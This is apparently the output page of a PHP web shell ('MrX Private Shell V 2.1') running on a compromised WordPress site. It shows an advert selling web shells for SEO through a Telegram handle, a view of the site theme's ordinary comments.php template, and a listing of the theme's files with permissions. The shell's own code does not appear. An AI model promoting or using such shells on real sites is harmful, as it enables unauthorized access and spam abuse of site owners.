����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* The template for displaying Comments
*
* The area of the page that contains comments and the comment form.
*/
?>
<?php
// If the current post is protected by a password and the visitor has not yet
// entered the password we will return early without loading the comments.
// ----------------------------------------------------------------------------------------
if ( post_password_required() ) {
return;
}
?>
<?php if ( have_comments() || comments_open()) : ?>
<div id="comments" class="blog-post-comment">
<?php if ( have_comments()) : ?>
<h3 class="comment-num">
<?php
if(get_comments_number()==1){
printf( '%1$s ' . esc_html__( 'Comment', 'buildbench' ), get_comments_number() );
}else{
printf( '%1$s ' . esc_html__( 'Comments', 'buildbench' ), get_comments_number() );
}
?>
</h3>
<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
<nav id="comment-nav-above" class="navigation comment-navigation" role="navigation">
<h1 class="screen-reader-text">
<?php esc_html_e( 'Comment navigation', 'buildbench' ); ?>
</h1>
<div class="nav-previous">
<?php previous_comments_link( esc_html__( '← Older Comments', 'buildbench' ) ); ?>
</div>
<div class="nav-next">
<?php next_comments_link( esc_html__( 'Newer Comments →', 'buildbench' ) ); ?>
</div>
</nav><!-- #comment-nav-above -->
<?php endif; //check for comment navigation ?>
<ul class="comments-list">
<?php
wp_list_comments( array(
'reply_text' => '<i class="fa fa-mail-reply-all"></i>' . esc_html__('Reply', 'buildbench'),
'callback' => 'buildbench_comment_style',
'style' => 'ul',
'short_ping' => false,
'type' => 'all',
'format' => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml',
'avatar_size' => 60,
) );
?>
</ul><!-- .comment-list -->
<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
<nav id="comment-nav-bellow" class="navigation comment-navigation" role="navigation">
<h1 class="screen-reader-text">
<?php esc_html_e( 'Comment navigation', 'buildbench' ); ?>
</h1>
<div class="nav-previous">
<?php previous_comments_link( esc_html__( '← Older Comments', 'buildbench' ) ); ?>
</div>
<div class="nav-next">
<?php next_comments_link( esc_html__( 'Newer Comments →', 'buildbench' ) ); ?>
</div>
</nav><!-- #comment-nav-bellow -->
<?php endif; //check for comment navigation ?>
<?php if ( !comments_open() ) : ?>
<p class="no-comments"><?php esc_html_e( 'Comments are closed.', 'buildbench' ); ?></p>
<?php endif; ?>
<?php endif; // have_comments() ?>
<?php
$post_id = '';
if ( null === $post_id )
$post_id = get_the_ID();
else
$id = $post_id;
$commenter = wp_get_current_commenter();
$user = wp_get_current_user();
$user_identity = $user->exists() ? $user->display_name : '';
$req = get_option( 'require_name_email' );
$aria_req = ( $req ? " aria-required='true'" : '' );
$fields = array(
'author' => '<div class="comment-info row"><div class="col-md-6"><input placeholder="'. esc_attr__('Enter Name', 'buildbench').'" id="author" class="form-control" name="author" type="text" value="' . esc_attr( $commenter[ 'comment_author' ] ) . '" size="30"' . $aria_req . ' /></div><div class="col-md-6">',
'email' => '<input placeholder="'. esc_attr__('Enter Email', 'buildbench').'" id="email" name="email" class="form-control" type="email" value="' . esc_attr( $commenter[ 'comment_author_email' ] ) . '" size="30"' . $aria_req . ' /></div>',
'url' => '<div class="col-md-12"><input placeholder="'. esc_attr__('Enter Website', 'buildbench').'" id="url" name="url" class="form-control" type="url" value="' . esc_attr( $commenter[ 'comment_author_url' ] ) . '" size="30" /></div></div>',
);
if ( is_user_logged_in() ) {
$cl = 'loginformuser';
} else {
$cl = '';
}
$defaults = [
'fields' => $fields,
'comment_field' => '
<div class="row">
<div class="col-md-12 ' . $cl . '">
<textarea
class="form-control"
placeholder="'. esc_attr__('Enter Comments', 'buildbench').'"
id="comment"
name="comment"
cols="45" rows="8"
aria-required="true">
</textarea>
</div>
<div class="clearfix"></div>
</div>
',
/** This filter is documented in wp-includes/link-template.php */
'must_log_in' => '
<p class="must-log-in">
'.esc_html__('You must be','buildbench').' <a href="'.esc_url(wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) )).'">'.esc_html__('logged in','buildbench').'</a> '.esc_html__('to post a comment.','buildbench').'
</p>',
/** This filter is documented in wp-includes/link-template.php */
'logged_in_as' => '
<p class="logged-in-as">
'.esc_html__('Logged in as','buildbench').' <a href="'.esc_url(get_edit_user_link()).'">'.esc_html($user_identity).'</a>. <a href="'.esc_url(wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) )).'" title="'.esc_attr__('Log out of this account','buildbench').'">'.esc_html__('Log out?','buildbench').'</a>
</p>',
'id_form' => 'commentform',
'id_submit' => 'submit',
'class_submit' => 'btn-comments btn btn-primary',
'title_reply' => esc_html__( 'Leave a Reply', 'buildbench' ),
'title_reply_to' => esc_html__( 'Leave a Reply to %s', 'buildbench' ),
'cancel_reply_link' => esc_html__( 'Cancel reply', 'buildbench' ),
'label_submit' => esc_html__( 'Post Comment', 'buildbench' ),
'format' => 'xhtml',
];
comment_form( $defaults );
?>
</div><!-- #comments -->
<?php endif;| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0755 |
|
|
| components | Folder | 0755 |
|
|
| core | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| template | Folder | 0755 |
|
|
| template-parts | Folder | 0755 |
|
|
| 404.php | File | 1.28 KB | 0644 |
|
| README.html | File | 181 B | 0644 |
|
| README.md | File | 13 B | 0644 |
|
| archive.php | File | 1.14 KB | 0644 |
|
| author.php | File | 1.14 KB | 0644 |
|
| category.php | File | 1.34 KB | 0644 |
|
| comments.php | File | 5.72 KB | 0644 |
|
| footer.php | File | 597 B | 0644 |
|
| functions.php | File | 5.37 KB | 0644 |
|
| header.php | File | 1.62 KB | 0644 |
|
| index.php | File | 1.12 KB | 0644 |
|
| page.php | File | 1.38 KB | 0644 |
|
| readme.txt | File | 366 B | 0644 |
|
| screenshot.png | File | 311.94 KB | 0644 |
|
| search.php | File | 1.63 KB | 0644 |
|
| sidebar-woo.php | File | 148 B | 0644 |
|
| sidebar.php | File | 318 B | 0644 |
|
| single.php | File | 987 B | 0644 |
|
| style.css | File | 367 B | 0644 |
|
| tag.php | File | 1.13 KB | 0644 |
|
| woocommerce.php | File | 769 B | 0644 |
|
| wpml-config.xml | File | 243 B | 0644 |
|